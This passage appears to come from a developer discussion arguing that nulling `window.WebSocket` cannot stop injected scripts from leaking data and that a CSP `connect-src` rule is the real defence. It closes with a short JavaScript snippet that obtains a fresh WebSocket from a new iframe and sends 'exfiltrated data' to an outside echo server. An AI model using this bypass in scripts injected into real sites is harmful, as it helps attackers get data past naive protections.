However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.
Perhaps there are other ways to spawn new windows with greater access control that I am not aware and don't require access to the global window object. The global WebSocket is really window.WebSocket so anything that is reliant upon the window object or inherited from the window object will continue to see that window.WebSocket is null.
My point is `WebSocket = null` won't stop someone who is already dedicated enough to inject a script onto your site to steal people's webpack hot reload error messages. Really a CSP with `connect-src` is the only way to fully prevent this.
Here's one very simple way to get around your method:
WebSocket = null
let el = document.createElement("iframe")
document.body.append(el);
let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
ws.onopen = () => ws.send("my exfiltrated data")